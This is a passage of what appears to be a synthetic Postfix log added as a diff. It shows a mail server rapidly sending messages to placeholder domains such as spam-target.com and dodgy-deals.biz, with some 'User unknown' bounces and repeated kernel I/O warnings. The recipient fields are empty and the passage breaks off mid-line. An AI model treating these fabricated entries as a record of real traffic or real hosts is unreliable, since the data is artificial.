mail-server postfix/smtp[23613]: 71250796DB: to=, relay=mx.spam-target.com[198.51.100.17]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5B2006831E) +Aug 26 14:03:50 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:03:50 mail-server postfix/smtp[13274]: 9866776D81: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2E8FE43E1E) +Aug 26 14:03:50 mail-server postfix/smtp[22092]: 1062EB6654: to=, relay=mx.get-rich-quick.org[198.51.100.8]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 86470DF98E) +Aug 26 14:03:50 mail-server postfix/smtp[24753]: 70C8CA4850: to=, relay=mx.dodgy-deals.biz[198.51.100.17]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 347ABC7546) +Aug 26 14:03:55 mail-server postfix/smtp[12067]: 2EDB0E921B: to=, relay=mx.spam-target.com[198.51.100.2]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BE93B82F8F) +Aug 26 14:03:55 mail-server postfix/smtp[21771]: B3DEC3A124: to=, relay=mx.dodgy-deals.biz[198.51.100.13]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A4C5B684C8) +Aug 26 14:03:55 mail-server postfix/smtp[23508]: 7EAA72306C: to=, relay=mx.dodgy-deals.biz[198.51.100.18]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4D97E2F55F) +Aug 26 14:04:00 mail-server postfix/smtp[13495]: E76FB241D5: to=, relay=mx.spam-target.com[198.51.100.3]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 016CEFACFF) +Aug 26 14:04:00 mail-server postfix/smtp[15770]: E12DF297E1: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=6.1, delays=0.1/0/5.9/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.5] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:00 mail-server postfix/smtp[18434]: 3D5E1B5762: to=, relay=mx.spam-target.com[198.51.100.7]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B7784AF65C) +Aug 26 14:04:00 mail-server postfix/smtp[22123]: 69DD8D3DB6: to=, relay=mx.random-emails.net[198.51.100.8]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A567117858) +Aug 26 14:04:05 mail-server postfix/smtp[17155]: D6A7E98718: to=, relay=mx.dodgy-deals.biz[198.51.100.12]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6F0806BDBE) +Aug 26 14:04:05 mail-server postfix/smtp[17896]: 02E10866BD: to=, relay=mx.dodgy-deals.biz[198.51.100.18]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 67D527DAEC) +Aug 26 14:04:05 mail-server postfix/smtp[19004]: 8B570A1DA4: to=, relay=mx.get-rich-quick.org[198.51.100.1]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FD41407D08) +Aug 26 14:04:05 mail-server postfix/smtp[24040]: DD8FD6A31D: to=, relay=mx.spam-target.com[198.51.100.16]:25, delay=6.3, delays=0.1/0/6.1/0.1, dsn=5.1.1, status=bounced (host mx.spam-target.com[198.51.100.16] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:10 mail-server postfix/smtp[16555]: 5B8A4A792D: to=, relay=mx.spam-target.com[198.51.100.19]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 818451851A) +Aug 26 14:04:10 mail-server postfix/smtp[18290]: EC58865D03: to=, relay=mx.dodgy-deals.biz[198.51.100.18]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BBB77BCA3C) +Aug 26 14:04:10 mail-server postfix/smtp[19553]: 60124231BA: to=, relay=mx.random-emails.net[198.51.100.9]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9F96691381) +Aug 26 14:04:10 mail-server postfix/smtp[21536]: DE6E1BEC0D: to=, relay=mx.get-rich-quick.org[198.51.100.17]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 241FA859B0) +Aug 26 14:04:10 mail-server postfix/smtp[23033]: B83EC53CB2: to=, relay=mx.dodgy-deals.biz[198.51.100.8]:25, delay=4.7, delays=0.1/0/4.5/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.8] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:15 mail-server postfix/smtp[12532]: C208446B5D: to=, relay=mx.random-emails.net[198.51.100.13]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2FF5968D78) +Aug 26 14:04:15 mail-server postfix/smtp[16924]: 8DF7FC8A05: to=, relay=mx.dodgy-deals.biz[198.51.100.10]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FFA74514E9) +Aug 26 14:04:15 mail-server postfix/smtp[18080]: 18BB6A41F1: to=, relay=mx.spam-target.com[198.51.100.18]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1A0805308E) +Aug 26 14:04:15 mail-server postfix/smtp[19208]: B3B8676AFE: to=, relay=mx.spam-target.com[198.51.100.7]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 5BB8FC5D11) +Aug 26 14:04:15 mail-server postfix/smtp[21835]: F18A737613: to=, relay=mx.random-emails.net[198.51.100.16]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1D388F5384) +Aug 26 14:04:20 mail-server postfix/smtp[15730]: D24B127462: to=, relay=mx.random-emails.net[198.51.100.13]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9F95A1CD56) +Aug 26 14:04:20 mail-server postfix/smtp[18918]: 9CAB4FBBEB: to=, relay=mx.spam-target.com[198.51.100.13]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E3BC701982) +Aug 26 14:04:20 mail-server postfix/smtp[20653]: B8956F0959: to=, relay=mx.random-emails.net[198.51.100.9]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B61B61B453) +Aug 26 14:04:20 mail-server postfix/smtp[24606]: DCAB014AA2: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 26AFC0A187) +Aug 26 14:04:25 mail-server postfix/smtp[10637]: B5290CB44E: to=, relay=mx.get-rich-quick.org[198.51.100.10]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 976ECEDC14) +Aug 26 14:04:25 mail-server postfix/smtp[11033]: F42EF7B586: to=, relay=mx.random-emails.net[198.51.100.5]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 75D8CE457E) +Aug 26 14:04:25 mail-server postfix/smtp[14755]: 7A2B747129: to=, relay=mx.random-emails.net[198.51.100.7]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0C7396CA06) +Aug 26 14:04:25 mail-server postfix/smtp[16197]: 11BEB81ED5: to=, relay=mx.random-emails.net[198.51.100.16]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C4F3109FB7) +Aug 26 14:04:25 mail-server postfix/smtp[19065]: F581EACFE0: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=6.6, delays=0.1/0/6.4/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.5] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:25 mail-server postfix/smtp[19525]: 61399912B8: to=, relay=mx.random-emails.net[198.51.100.1]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CC172DAF71) +Aug 26 14:04:30 mail-server postfix/smtp[18426]: 9016271AB5: to=, relay=mx.get-rich-quick.org[198.51.100.8]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3F769C94D5) +Aug 26 14:04:30 mail-server postfix/smtp[21387]: B1FA99BB35: to=, relay=mx.get-rich-quick.org[198.51.100.16]:25, delay=5.7, delays=0.1/0/5.5/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.16] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:30 mail-server postfix/smtp[24630]: 86507BE109: to=, relay=mx.random-emails.net[198.51.100.16]:25, delay=5.6, delays=0.1/0/5.4/0.1, dsn=5.1.1, status=bounced (host mx.random-emails.net[198.51.100.16] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:35 mail-server postfix/smtp[11450]: AE8173F46B: to=, relay=mx.get-rich-quick.org[198.51.100.9]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F99CCFC5DD) +Aug 26 14:04:35 mail-server postfix/smtp[11641]: 1D14CBD5EE: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 665605BC63) +Aug 26 14:04:35 mail-server postfix/smtp[14956]: 88011B92EF: to=, relay=mx.dodgy-deals.biz[198.51.100.9]:25, delay=7.9, delays=0.1/0/7.7/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.9] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:35 mail-server postfix/smtp[16336]: E8CA9A727F: to=, relay=mx.get-rich-quick.org[198.51.100.14]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D68FCB9B71) +Aug 26 14:04:35 mail-server postfix/smtp[20565]: 3C6A8D0A2B: to=, relay=mx.get-rich-quick.org[198.51.100.6]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A7AA65F4CA) +Aug 26 14:04:35 mail-server postfix/smtp[22762]: AD5B162131: to=, relay=mx.random-emails.net[198.51.100.6]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F12287ACAC) +Aug 26 14:04:35 mail-server postfix/smtp[22846]: B7AFA81903: to=, relay=mx.dodgy-deals.biz[198.51.100.1]:25, delay=1.7, delays=0.05/0/0.5/1.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D0EBF88E42) +Aug 26 14:04:40 mail-server postfix/smtp[13454]: 40631CC6D2: to=, relay=mx.random-emails.net[198.51.100.16]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 217AEE54E6) +Aug 26 14:04:40 mail-server postfix/smtp[14929]: 93E9F39B40: to=, relay=mx.dodgy-deals.biz[198.51.100.7]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 62E54063F3) +Aug 26 14:04:40 mail-server postfix/smtp[15086]: 20C2221D8E: to=, relay=mx.get-rich-quick.org[198.51.100.19]:25, delay=1.9, delays=0.05/0/0.5/1.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DE1ADCF34D) +Aug 26 14:04:40 mail-server postfix/smtp[18602]: 26011B6B0F: to=, relay=mx.dodgy-deals.biz[198.51.100.18]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B5D3E74560) +Aug 26 14:04:40 mail-server postfix/smtp[19608]: CE20E7B7B7: to=, relay=mx.dodgy-deals.biz[198.51.100.12]:25, delay=5.4, delays=0.1/0/5.2/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.12] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:40 mail-server postfix/smtp[24122]: A74D3D0A66: to=, relay=mx.random-emails.net[198.51.100.13]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 70D1B4204E) +Aug 26 14:04:40 mail-server postfix/smtp[24657]: 9C213D9BBB: to=, relay=mx.get-rich-quick.org[198.51.100.6]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F46EB03BA5) +Aug 26 14:04:45 mail-server postfix/smtp[13488]: B14BB5CFA9: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B62043563E) +Aug 26 14:04:45 mail-server postfix/smtp[14227]: 4428A8B764: to=, relay=mx.spam-target.com[198.51.100.13]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6CBF10EB29) +Aug 26 14:04:45 mail-server postfix/smtp[18811]: 4DE3F53B50: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B56BB52A4F) +Aug 26 14:04:45 mail-server postfix/smtp[19533]: BD8362BE73: to=, relay=mx.random-emails.net[198.51.100.2]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 825768E8BE) +Aug 26 14:04:45 mail-server postfix/smtp[21698]: C9CB245D6F: to=, relay=mx.spam-target.com[198.51.100.15]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 314FC8CD8E) +Aug 26 14:04:45 mail-server postfix/smtp[24713]: B35987A220: to=, relay=mx.get-rich-quick.org[198.51.100.18]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 894D9E9327) +Aug 26 14:04:45 mail-server postfix/smtp[24943]: 731BB9F934: to=, relay=mx.random-emails.net[198.51.100.15]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F2307B19B1) +Aug 26 14:04:50 mail-server postfix/smtp[13493]: B548D882C5: to=, relay=mx.spam-target.com[198.51.100.4]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1E84E0D0A1) +Aug 26 14:04:50 mail-server postfix/smtp[15058]: A85BE41C97: to=, relay=mx.spam-target.com[198.51.100.2]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 639C18A6E3) +Aug 26 14:04:50 mail-server postfix/smtp[17992]: 3FF2778079: to=, relay=mx.random-emails.net[198.51.100.17]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E42EE628D7) +Aug 26 14:04:50 mail-server postfix/smtp[18827]: 10667492FE: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=5.1, delays=0.1/0/4.9/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.11] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:50 mail-server postfix/smtp[20705]: 99975B1806: to=, relay=mx.spam-target.com[198.51.100.6]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F210AB58DA) +Aug 26 14:04:50 mail-server postfix/smtp[21613]: 64E4221B6C: to=, relay=mx.dodgy-deals.biz[198.51.100.4]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 65DAA25297) +Aug 26 14:04:50 mail-server postfix/smtp[23950]: F8F589E46D: to=, relay=mx.dodgy-deals.biz[198.51.100.10]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0D358292CB) +Aug 26 14:04:50 mail-server systemd[1]: Starting daily clean up activities... +Aug 26 14:04:55 mail-server postfix/smtp[12093]: 44E0286C50: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7A8F230582) +Aug 26 14:04:55 mail-server postfix/smtp[12320]: DB5BF6E9E1: to=, relay=mx.random-emails.net[198.51.100.16]:25, delay=2.7, delays=0.05/0/0.5/2.15, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CD07A2D7C3) +Aug 26 14:04:55 mail-server postfix/smtp[14835]: 20593DA7A0: to=, relay=mx.random-emails.net[198.51.100.9]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 56A8FE44B1) +Aug 26 14:04:55 mail-server postfix/smtp[17859]: 081DAF69E5: to=, relay=mx.dodgy-deals.biz[198.51.100.12]:25, delay=7.0, delays=0.1/0/6.8/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.12] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:04:55 mail-server postfix/smtp[18958]: E86118E362: to=, relay=mx.dodgy-deals.biz[198.51.100.8]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BE24EF0A74) +Aug 26 14:04:55 mail-server postfix/smtp[21280]: 20F9D09D78: to=, relay=mx.spam-target.com[198.51.100.4]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 898F0B2FD5) +Aug 26 14:04:55 mail-server postfix/smtp[22601]: 01A119E4E0: to=, relay=mx.dodgy-deals.biz[198.51.100.5]:25, delay=2.5, delays=0.05/0/0.5/1.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1B72057935) +Aug 26 14:05:00 mail-server postfix/smtp[14804]: 51E5DE8C54: to=, relay=mx.random-emails.net[198.51.100.6]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A833698942) +Aug 26 14:05:00 mail-server postfix/smtp[17406]: 5FBFD4AFE7: to=, relay=mx.random-emails.net[198.51.100.16]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2F8AC70EED) +Aug 26 14:05:00 mail-server postfix/smtp[23101]: 5CD9CDE282: to=, relay=mx.spam-target.com[198.51.100.13]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8BD6B0A020) +Aug 26 14:05:05 mail-server postfix/smtp[15124]: 09DE83B0CE: to=, relay=mx.spam-target.com[198.51.100.15]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 920F81B767) +Aug 26 14:05:05 mail-server postfix/smtp[16440]: C3FF18B2A9: to=, relay=mx.dodgy-deals.biz[198.51.100.9]:25, delay=6.5, delays=0.1/0/6.3/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.9] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:05 mail-server postfix/smtp[22415]: 041EEC63A5: to=, relay=mx.dodgy-deals.biz[198.51.100.6]:25, delay=4.6, delays=0.1/0/4.4/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.6] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:10 mail-server postfix/smtp[10514]: 9C019EBC4A: to=, relay=mx.get-rich-quick.org[198.51.100.13]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 32F5C73B69) +Aug 26 14:05:10 mail-server postfix/smtp[11358]: F4EF19B796: to=, relay=mx.random-emails.net[198.51.100.3]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0B81151EE3) +Aug 26 14:05:10 mail-server postfix/smtp[14992]: A02B86B291: to=, relay=mx.spam-target.com[198.51.100.17]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8875B21F4A) +Aug 26 14:05:10 mail-server postfix/smtp[19102]: 5997CE452B: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=2.3, delays=0.05/0/0.5/1.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 672C599E36) +Aug 26 14:05:10 mail-server postfix/smtp[19474]: AFA9FF6889: to=, relay=mx.random-emails.net[198.51.100.18]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8467C0D2D1) +Aug 26 14:05:10 mail-server postfix/smtp[22088]: E3D3CB5C08: to=, relay=mx.get-rich-quick.org[198.51.100.18]:25, delay=6.1, delays=0.1/0/5.9/0.1, dsn=5.1.1, status=bounced (host mx.get-rich-quick.org[198.51.100.18] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:15 mail-server postfix/smtp[17673]: 17A9516E8E: to=, relay=mx.get-rich-quick.org[198.51.100.18]:25, delay=2.2, delays=0.05/0/0.5/1.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 38F524FFB8) +Aug 26 14:05:15 mail-server postfix/smtp[22601]: 442BD65DBB: to=, relay=mx.get-rich-quick.org[198.51.100.7]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 18B91E15DA) +Aug 26 14:05:15 mail-server postfix/smtp[23522]: 593D587BF6: to=, relay=mx.random-emails.net[198.51.100.10]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 34E88E53D5) +Aug 26 14:05:15 mail-server postfix/smtp[23744]: 92A650CAE5: to=, relay=mx.random-emails.net[198.51.100.6]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 397B4F73CD) +Aug 26 14:05:15 mail-server postfix/smtp[24858]: 69A6413A0F: to=, relay=mx.spam-target.com[198.51.100.17]:25, delay=7.1, delays=0.1/0/6.9/0.1, dsn=5.1.1, status=bounced (host mx.spam-target.com[198.51.100.17] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:20 mail-server postfix/smtp[10269]: B1D054CE68: to=, relay=mx.dodgy-deals.biz[198.51.100.6]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E9E4E743C6) +Aug 26 14:05:20 mail-server postfix/smtp[12316]: A2867C9FA9: to=, relay=mx.spam-target.com[198.51.100.17]:25, delay=2.4, delays=0.05/0/0.5/1.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2260C54F6E) +Aug 26 14:05:20 mail-server postfix/smtp[14085]: 71171209DF: to=, relay=mx.dodgy-deals.biz[198.51.100.16]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D82E20F815) +Aug 26 14:05:20 mail-server postfix/smtp[14216]: BF6BA0ABAC: to=, relay=mx.spam-target.com[198.51.100.3]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 63D0C80488) +Aug 26 14:05:20 mail-server postfix/smtp[14523]: 7E3D4DCDE5: to=, relay=mx.random-emails.net[198.51.100.17]:25, delay=2.1, delays=0.05/0/0.5/1.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 656B966157) +Aug 26 14:05:20 mail-server postfix/smtp[20088]: A8D0CE640E: to=, relay=mx.spam-target.com[198.51.100.8]:25, delay=2.9, delays=0.05/0/0.5/2.35, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as ABDB81075C) +Aug 26 14:05:20 mail-server postfix/smtp[24383]: 038547E9FA: to=, relay=mx.random-emails.net[198.51.100.2]:25, delay=3.0, delays=0.05/0/0.5/2.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9160995E37) +Aug 26 14:05:25 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:05:25 mail-server postfix/smtp[11362]: 2A72365114: to=, relay=mx.get-rich-quick.org[198.51.100.3]:25, delay=2.6, delays=0.05/0/0.5/2.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B138A91B92) +Aug 26 14:05:25 mail-server postfix/smtp[17186]: 5EA4FC10EB: to=, relay=mx.dodgy-deals.biz[198.51.100.11]:25, delay=2.0, delays=0.05/0/0.5/1.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F41C3688CC) +Aug 26 14:05:25 mail-server postfix/smtp[17424]: FD3BDEF43B: to=, relay=mx.dodgy-deals.biz[198.51.100.10]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6AD9CDF537) +Aug 26 14:05:25 mail-server postfix/smtp[17704]: 9917D317A0: to=, relay=mx.get-rich-quick.org[198.51.100.5]:25, delay=2.8, delays=0.05/0/0.5/2.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6B2F102C7) +Aug 26 14:05:25 mail-server postfix/smtp[21472]: 070C7F10B2: to=, relay=mx.dodgy-deals.biz[198.51.100.15]:25, delay=5.0, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mx.dodgy-deals.biz[198.51.100.15] said: 550 5.1.1 : Recipient address rejected: User unknown) +Aug 26 14:05:30 mail-server kernel: [54104].684 INFO: task jbd2/sda1-8:12 blocked for more than 120 seconds. +Aug 26 14:05:30 mail-server postfix/smtp[14683]: A648533FEB: to=, relay=mx.dodgy-deals.biz[198.51.100.1]:25, delay=1.2, delays=0.05/0/0.5/0.65, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BBF903B589) +Aug 26 14:05:30 mail-server postfix/smtp[17845]: 8C44BE07A5: to=, relay=mx.dodgy-deals.biz[198.51.100.7]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3F8D65AFFE) +Aug 26 14:05:30 mail-server postfix/smtp[19925]: B7DA018347: to=, relay=mx.random-emails.net[198.51.100.11]:25, delay=1.1, delays=0.05/0/0.5/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BBDB3A659F) +Aug 26 14:05:30 mail-server postfix/smtp[21579]: C042AAD4D6: to=, relay=mx.spam-target.com[198.51.100.13]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 48CAFFB5DD) +Aug 26 14:05:35 mail-server postfix/smtp[11242]: B2F24D5C47: to=, relay=mx.spam-target.com[198.51.100.6]:25, delay=1.6, delays=0.05/0/0.5/1.05, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 444C7785E1) +Aug 26 14:05:35 mail-server postfix/smtp[15394]: 2DB00183B3: to=, relay=mx.dodgy-deals.biz[198.51.100.15]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 09A20F8533) +Aug 26 14:05:35 mail-server postfix/smtp[19197]: F3E505F0AB: to=, relay=mx.get-rich-quick.org[198.51.100.16]:25, delay=1.5, delays=0.05/0/0.5/0.95, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3C06CEE257) +Aug 26 14:05:35 mail-server postfix/smtp[24770]: FD4A1F8787: to=, relay=mx.dodgy-deals.biz[198.51.100.10]:25, delay=1.4, delays=0.05/0/0.5/0.85, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 20D2A50B17) +Aug 26 14:05:40 mail-server postfix/smtp[13078]: E40DCA0EA3: to=, relay=mx.dodgy-deals.biz[198.51.100.4]:25, delay=1.8, delays=0.05/0/0.5/1.25, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 6D8EE437B4) +Aug 26 14:05:40 mail-server postfix/smtp[19699]: D76C966821: to=, relay=mx.get-rich-quick.org[198.51.100.4]:25, delay=1.3, delays=0.05/0/0.5/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4C18CD9E39) +Aug 26 14:05:40 mail-server postfix/smtp[20233]: D7957731E5: to=, 